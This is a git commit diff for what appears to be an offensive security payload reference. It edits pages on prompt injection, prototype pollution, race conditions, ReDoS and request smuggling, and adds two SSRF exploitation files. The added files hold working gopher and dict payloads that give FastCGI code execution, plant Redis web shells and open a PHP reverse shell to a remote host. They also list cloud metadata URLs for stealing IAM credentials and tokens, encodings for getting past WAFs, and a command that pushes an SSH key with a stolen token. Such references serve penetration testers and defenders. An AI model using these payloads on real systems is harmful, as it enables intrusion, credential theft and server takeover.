Regex + SSRF

This commit is contained in:
Swissky 2024-11-30 19:48:32 +01:00
parent 8b27a177c2
commit 8c09568cb2
8 changed files with 749 additions and 716 deletions

View File

@ -9,7 +9,8 @@
* [Applications](#applications)
* [Story Generation](#story-generation)
* [Potential Misuse](#potential-misuse)
* [Prompt Examples](#prompt-examples)
* [Methodology](#methodology)
* [Indirect Prompt Injection](#indirect-prompt-injection)
* [References](#references)
@ -70,7 +71,7 @@ For instance, if you're using a language model to generate a story and you want
In the context of security, "prompt injection" could refer to a type of attack where an attacker manipulates the input to a system (the "prompt") in order to cause the system to behave in a way that benefits the attacker. This could involve, for example, injecting malicious code or commands into user input fields on a website.
## Prompt Examples
## Methodology
Here are a list of basic prompts to test against NLP models.

View File

@ -9,7 +9,7 @@
* [Methodology](#methodology)
* [Examples](#examples)
* [Manual Testing](#manual-testing)
* [Prototype Pollution via JSON input](#prototype-pollution-via-json-input)
* [Prototype Pollution via JSON Input](#prototype-pollution-via-json-input)
* [Prototype Pollution in URL](#prototype-pollution-in-url)
* [Prototype Pollution Payloads](#prototype-pollution-payloads)
* [Prototype Pollution Gadgets](#prototype-pollution-gadgets)
@ -33,10 +33,14 @@ In JavaScript, prototypes are what allow objects to inherit features from other
```js
var myDog = new Dog();
```
```js
// Points to the function "Dog"
myDog.constructor;
```
```js
// Points to the class definition of "Dog"
myDog.constructor.prototype;
myDog.__proto__;
@ -68,7 +72,7 @@ myDog["__proto__"];
* Change the status code: `{ "__proto__":{"status":510}}`
### Prototype Pollution via JSON input
### Prototype Pollution via JSON Input
You can access the prototype of any object via the magic property `__proto__`.
The `JSON.parse()` function in JavaScript is used to parse a JSON string and convert it into a JavaScript object. Typically it is a sink function where prototype pollution can happen.
@ -141,7 +145,7 @@ Depending if the prototype pollution is executed client (CSPP) or server side (S
```
* Reflected XSS: [Reflected XSS on www.hackerone.com via Wistia embed code - #986386](https://hackerone.com/reports/986386)
* Client-side bypass: [Prototype pollution and bypassing client-side HTML sanitizers](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
* Deny of Service
* Denial of Service
### Prototype Pollution Payloads
@ -181,7 +185,7 @@ Either create your own gadget using part of the source with [yeswehack/pp-finder
- [Detecting Server-Side Prototype Pollution - Daniel Thatcher - February 15, 2023](https://www.intruder.io/research/server-side-prototype-pollution)
- [Exploiting prototype pollution RCE in Kibana (CVE-2019-7609) - Michał Bentkowski - October 30, 2019](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [Keynote | Server Side Prototype Pollution: Blackbox Detection Without The DoS - Gareth Heyes - March 27, 2023](https://youtu.be/LD-KcuKM_0M)
- [NodeJS - __proto__ & prototype Pollution - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution)
- [NodeJS - \_\_proto\_\_ & prototype Pollution - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution)
- [Prototype Pollution - PortSwigger - November 10, 2022](https://portswigger.net/web-security/prototype-pollution)
- [Prototype pollution - Snyk - August 19, 2023](https://learn.snyk.io/lessons/prototype-pollution/javascript/)
- [Prototype pollution and bypassing client-side HTML sanitizers - Michał Bentkowski - August 18, 2020](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)

View File

@ -8,10 +8,10 @@
- [Tools](#tools)
- [Methodology](#methodology)
- [Limit-overrun](#limit-overrun)
- [Rate-limit bypass](#rate-limit-bypass)
- [Rate-limit Bypass](#rate-limit-bypass)
- [Techniques](#techniques)
- [HTTP/1.1 last-byte synchronization](#http11-last-byte-synchronization)
- [HTTP/2 Single-packet attack](#http2-single-packet-attack)
- [HTTP/1.1 Last-byte Synchronization](#http11-last-byte-synchronization)
- [HTTP/2 Single-packet Attack](#http2-single-packet-attack)
- [Turbo Intruder](#turbo-intruder)
- [Example 1](#example-1)
- [Example 2](#example-2)
@ -30,27 +30,27 @@
### Limit-overrun
Overdrawing limit, multiple voting, multiple spending of a giftcard.
Limit-overrun refers to a scenario where multiple threads or processes compete to update or access a shared resource, resulting in the resource exceeding its intended limits.
**Examples**:
**Examples**: Overdrawing limit, multiple voting, multiple spending of a giftcard.
- [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247)
- [Race conditions can be used to bypass invitation limit - @franjkovic](https://hackerone.com/reports/115007)
- [Register multiple users using one invitation - @franjkovic](https://hackerone.com/reports/148609)
### Rate-limit bypass
### Rate-limit Bypass
Bypassing anti-bruteforce mechanism and 2FA.
Rate-limit bypass occurs when an attacker exploits the lack of proper synchronization in rate-limiting mechanisms to exceed intended request limits. Rate-limiting is designed to control the frequency of actions (e.g., API requests, login attempts), but race conditions can allow attackers to bypass these restrictions.
**Examples**:
**Examples**: Bypassing anti-bruteforce mechanism and 2FA.
- [Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah](https://youtu.be/4O9FjTMlHUM)
## Techniques
### HTTP/1.1 last-byte synchronization
### HTTP/1.1 Last-byte Synchronization
Send every requests except the last byte, then "release" each request by sending the last byte.
@ -67,11 +67,11 @@ engine.openGate('race1')
- [Cracking reCAPTCHA, Turbo Intruder style - James Kettle](https://portswigger.net/research/cracking-recaptcha-turbo-intruder-style)
### HTTP/2 Single-packet attack
### HTTP/2 Single-packet Attack
In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.
- [turbo-intruder/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py)
- [PortSwigger/turbo-intruder/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py)
- Burp Suite
- Send a request to Repeater
- Duplicate the request 20 times (CTRL+R)

View File

@ -6,6 +6,7 @@
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [Evil Regex](#evil-regex)
* [Backtrack Limit](#backtrack-limit)
* [References](#references)
@ -18,7 +19,9 @@
* [devina.io/redos-checker](https://devina.io/redos-checker) - Examine regular expressions for potential Denial of Service vulnerabilities
## Evil Regex
## Methodology
### Evil Regex
Evil Regex contains:
@ -35,14 +38,20 @@ Evil Regex contains:
* `(a|a?)+`
* `(.*a){x}` for x \> 10
These regular expressions can be exploited with `aaaaaaaaaaaaaaaaaaaaaaaa!`
These regular expressions can be exploited with `aaaaaaaaaaaaaaaaaaaaaaaa!` (20 'a's followed by a '!').
```ps1
aaaaaaaaaaaaaaaaaaaa!
```
For this input, the regex engine will try all possible ways to group the `a` characters before realizing that the match ultimately fails because of the `!`. This results in an explosion of backtracking attempts.
## Backtrack Limit
### Backtrack Limit
Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings.
PHP PCRE configuration options
**PHP PCRE configuration options**
| Name | Default | Note |
|----------------------|---------|---------|

View File

@ -27,8 +27,6 @@
If you want to exploit HTTP Requests Smuggling manually you will face some problems especially in TE.CL vulnerability you have to calculate the chunk size for the second request(malicious request) as PortSwigger suggests `Manually fixing the length fields in request smuggling attacks can be tricky.`.
For that reason you can use the [Simple HTTP Smuggler Generator CL.TE TE.CL](https://github.com/dhmosfunk/simple-http-smuggler-generator) and exploit the CL.TE TE.CL vulnerabilities manually and learn how this vulnerability works and how you can exploit it.
### CL.TE Vulnerabilities
@ -97,7 +95,7 @@ x=1
```
:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence \r\n\r\n following the final 0.
:warning: To send this request using Burp Repeater, you will first need to go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.You need to include the trailing sequence `\r\n\r\n` following the final 0.
### TE.TE Vulnerabilities
@ -156,7 +154,8 @@ This could be used to:
* get the victim to send an exploit to a site (eg for internal sites the attacker cannot access, or to make it harder to attribute the attack)
* to get the victim to run arbitrary JavaScript as if it were from the site
Eg:
**Example**:
```javascript
fetch('https://www.example.com/redirect', {
method: 'POST',
@ -168,10 +167,10 @@ fetch('https://www.example.com/redirect', {
})
```
tells the victim browser to send a POST request to www.example.com/redirect. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to www.example.com.
This script tells the victim browser to send a `POST` request to `www.example.com/redirect`. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to `www.example.com`.
www.example.com now incorrectly processes the HEAD request in the POST's body, instead of the browser's GET request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (`GET /x?x=<script>...`) request and finally the browser's actual GET request.
Since the browser only sent one request, it accepts the response to the HEAD request as the response to its GET request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script.
www.example.com now incorrectly processes the `HEAD` request in the `POST`'s body, instead of the browser's `GET` request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (`GET /x?x=<script>...`) request and finally the browser's actual `GET` request.
Since the browser only sent one request, it accepts the response to the `HEAD` request as the response to its `GET` request and interprets the third and fourth responses as the body of the response, and thus executes the attacker's script.
## Labs

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,172 @@
# SSRF Advanced Exploitation
> Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state.
## Summary
* [DNS AXFR](#dns-axfr)
* [FastCGI](#fastcgi)
* [Memcached](#memcached)
* [MySQL](#memcached)
* [Redis](#redis)
* [SMTP](#smtp)
* [WSGI](#wsgi)
* [Zabbix](#zabbix)
* [References](#references)
## DNS AXFR
Query an internal DNS resolver to trigger a full zone transfer (**AXFR**) and exfiltrate a list of subdomains.
```py
from urllib.parse import quote
domain,tld = "example.lab".split('.')
dns_request = b"\x01\x03\x03\x07" # BITMAP
dns_request += b"\x00\x01" # QCOUNT
dns_request += b"\x00\x00" # ANCOUNT
dns_request += b"\x00\x00" # NSCOUNT
dns_request += b"\x00\x00" # ARCOUNT
dns_request += len(domain).to_bytes() # LEN DOMAIN
dns_request += domain.encode() # DOMAIN
dns_request += len(tld).to_bytes() # LEN TLD
dns_request += tld.encode() # TLD
dns_request += b"\x00" # DNAME EOF
dns_request += b"\x00\xFC" # QTYPE AXFR (252)
dns_request += b"\x00\x01" # QCLASS IN (1)
dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')
```
Example of payload for `example.lab`: `gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01`
```ps1
curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd
```
## FastCGI
Requires to know the full path of one PHP file on the server, by default the exploit is using `/usr/share/php/PEAR.php`.
```ps1
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00
```
## Memcached
Memcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data.
```ps1
python2.7 ./gopherus.py --exploit pymemcache
python2.7 ./gopherus.py --exploit rbmemcache
python2.7 ./gopherus.py --exploit phpmemcache
python2.7 ./gopherus.py --exploit dmpmemcache
```
## MySQL
MySQL user should not be password protected.
```ps1
$ python2.7 ./gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: SELECT 123;
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01
```
## Redis
> Redis is a database system that stores everything in RAM
The attacker changes Redis's dump directory to the web server's document root (`/var/www/html`) and renames the dump file to `file.php`, ensuring that when the database is saved, it generates a PHP file. They then create a Redis key (`mykey`) containing the web shell code, which enables remote command execution via HTTP GET parameters. Finally, the `SAVE` command forces Redis to write the current in-memory database to disk, resulting in the creation of the malicious web shell at `/var/www/html/file.php`.
```ps1
CONFIG SET dir /var/www/html
CONFIG SET dbfilename file.php
SET mykey "<?php system($_GET[0])?>"
SAVE
```
* Getting a webshell with `dict://`
```powershell
dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
dict://127.0.0.1:6379/SAVE
```
* Getting a PHP reverse shell with `gopher://`
```powershell
gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
gopher://127.0.0.1:6379/_save
```
## SMTP
Malicious actors can craft `gopher://` URLs to manipulate low-level protocols (like HTTP or SMTP) on internal systems.
```ps1
gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A
```
The following PHP script can be used to generate a page that will redirect to the `gopher://` payload.
```php
<?php
$commands = array(
'HELO victim.com',
'MAIL FROM: <admin@victim.com>',
'RCPT To: <hacker@attacker.com>',
'DATA',
'Subject: @hacker!',
'Hello Friend',
'.'
);
$payload = implode('%0A', $commands);
header('Location: gopher://0:25/_'.$payload);
?>
```
## WSGI
Exploit using the Gopher protocol, full exploit script available at [wofeiwo/webcgi-exploits/uwsgi_exp.py](https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py).
```powershell
gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
```
| Header | | |
|-----------|-----------|-------------|
| modifier1 | (1 byte) | 0 (%00) |
| datasize | (2 bytes) | 26 (%1A%00) |
| modifier2 | (1 byte) | 0 (%00) |
| Variable (UWSGI_FILE) | | | |
|-----------------------|-----------|----|----------------|
| key length | (2 bytes) | 10 | (%0A%00) |
| key data | (m bytes) | | UWSGI_FILE |
| value length | (2 bytes) | 12 | (%0C%00) |
| value data | (n bytes) | | /tmp/test.py |
## Zabbix
If `EnableRemoteCommands=1` is enabled in the Zabbix Agent configuration, it allows the execution of remote commands.
```ps1
gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D
```
## References
- [SSRFmap - Introducing the AXFR Module - Swissky - June 13, 2024](https://swisskyrepo.github.io/SSRFmap-axfr/)
- [How I Converted SSRF to XSS in Jira - Ashish Kunwar - June 1, 2018](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
- [Pong [EN] | FCSC 2024 - Arthur Deloffre (@Vozec1) - April 12, 2024](https://vozec.fr/writeups/pong-fcsc2024-en/)
- [Pong [EN] | FCSC 2024 - Kévin - Mizu (@kevin_mizu) - April 13, 2024](https://mizu.re/post/pong)

View File

@ -0,0 +1,336 @@
# SSRF URL for Cloud Instances
> When exploiting Server-Side Request Forgery (SSRF) in cloud environments, attackers often target metadata endpoints to retrieve sensitive instance information (e.g., credentials, configurations). Below is a categorized list of common URLs for various cloud and infrastructure providers
## Summary
* [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket)
* [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs)
* [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk)
* [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda)
* [SSRF URL for Google Cloud](#ssrf-url-for-google-cloud)
* [SSRF URL for Digital Ocean](#ssrf-url-for-digital-ocean)
* [SSRF URL for Packetcloud](#ssrf-url-for-packetcloud)
* [SSRF URL for Azure](#ssrf-url-for-azure)
* [SSRF URL for OpenStack/RackSpace](#ssrf-url-for-openstackrackspace)
* [SSRF URL for HP Helion](#ssrf-url-for-hp-helion)
* [SSRF URL for Oracle Cloud](#ssrf-url-for-oracle-cloud)
* [SSRF URL for Kubernetes ETCD](#ssrf-url-for-kubernetes-etcd)
* [SSRF URL for Alibaba](#ssrf-url-for-alibaba)
* [SSRF URL for Hetzner Cloud](#ssrf-url-for-hetzner-cloud)
* [SSRF URL for Docker](#ssrf-url-for-docker)
* [SSRF URL for Rancher](#ssrf-url-for-rancher)
* [References](#references)
## SSRF URL for AWS
The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)
* IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/`
* IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token`
```powershell
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
```
* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/`
In case of a WAF, you might want to try different ways to connect to the API.
* DNS record pointing to the AWS API IP
```powershell
http://instance-data
http://169.254.169.254
http://169.254.169.254.nip.io/
```
* HTTP redirect
```powershell
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
```
* Encoding the IP to bypass WAF
```powershell
http://425.510.425.510 Dotted decimal with overflow
http://2852039166 Dotless decimal
http://7147006462 Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal
http://0xA9FEA9FE Dotless hexadecimal
http://0x41414141A9FEA9FE Dotless hexadecimal with overflow
http://0251.0376.0251.0376 Dotted octal
http://0251.00376.000251.0000376 Dotted octal with padding
http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal)
http://[::ffff:a9fe:a9fe] IPV6 Compressed
http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded
http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4
http://[fd00:ec2::254] IPV6
```
These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.
```powershell
http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
```
This URL is used to access the user data that was specified when launching the instance. User data is often used to pass startup scripts or other configuration information into the instance.
```powershell
http://169.254.169.254/latest/user-data
```
Other URLs to query to access various pieces of metadata about the instance, like the hostname, public IPv4 address, and other properties.
```powershell
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document
```
**Examples**:
* Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance`
* *Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`
## SSRF URL for AWS ECS
If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.
```powershell
curl http://169.254.170.2/v2/credentials/<UUID>
```
This way you'll extract IAM keys of the attached role
## SSRF URL for AWS Elastic Beanstalk
We retrieve the `accountId` and `region` from the API.
```powershell
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API.
```powershell
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
## SSRF URL for AWS Lambda
AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.
```powershell
http://localhost:9001/2018-06-01/runtime/invocation/next
http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next
```
Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next
## SSRF URL for Google Cloud
:warning: Google is shutting down support for usage of the **v1 metadata service** on January 15.
Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
```powershell
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
```
Google allows recursive pulls
```powershell
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
```
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
```powershell
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
Required headers can be set using a gopher SSRF with the following technique
```powershell
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a
```
Interesting files to pull out:
- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
- Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`
- Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`
### Add an SSH key
Extract the token
```powershell
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Check the scope of the token
```powershell
$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA
{
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Now push the SSH key.
```powershell
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
## SSRF URL for Digital Ocean
Documentation available at `https://developers.digitalocean.com/documentation/metadata/`
```powershell
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
All in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
## SSRF URL for Packetcloud
Documentation available at `https://metadata.packet.net/userdata`
## SSRF URL for Azure
Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`
```powershell
http://169.254.169.254/metadata/v1/maintenance
```
Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`
```powershell
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
```
## SSRF URL for OpenStack/RackSpace
(header required? unknown)
```powershell
http://169.254.169.254/openstack
```
## SSRF URL for HP Helion
(header required? unknown)
```powershell
http://169.254.169.254/2009-04-04/meta-data/
```
## SSRF URL for Oracle Cloud
```powershell
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
```
## SSRF URL for Alibaba
```powershell
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
```
## SSRF URL for Hetzner Cloud
```powershell
http://169.254.169.254/hetzner/v1/metadata
http://169.254.169.254/hetzner/v1/metadata/hostname
http://169.254.169.254/hetzner/v1/metadata/instance-id
http://169.254.169.254/hetzner/v1/metadata/public-ipv4
http://169.254.169.254/hetzner/v1/metadata/private-networks
http://169.254.169.254/hetzner/v1/metadata/availability-zone
http://169.254.169.254/hetzner/v1/metadata/region
```
## SSRF URL for Kubernetes ETCD
Can contain API keys and internal ip and ports
```powershell
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
```
## SSRF URL for Docker
```powershell
http://127.0.0.1:2375/v1.24/containers/json
Simple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
```
More info:
- Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option
- Docker Engine API: https://docs.docker.com/engine/api/latest/
## SSRF URL for Rancher
```powershell
curl http://rancher-metadata/<version>/<path>
```
More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/
## References
- [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - December 13, 2017](https://web.archive.org/web/20180210093624/https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/)
- [Exploiting SSRF in AWS Elastic Beanstalk - Sunil Yadav - February 1, 2019](https://notsosecure.com/exploiting-ssrf-aws-elastic-beanstalk)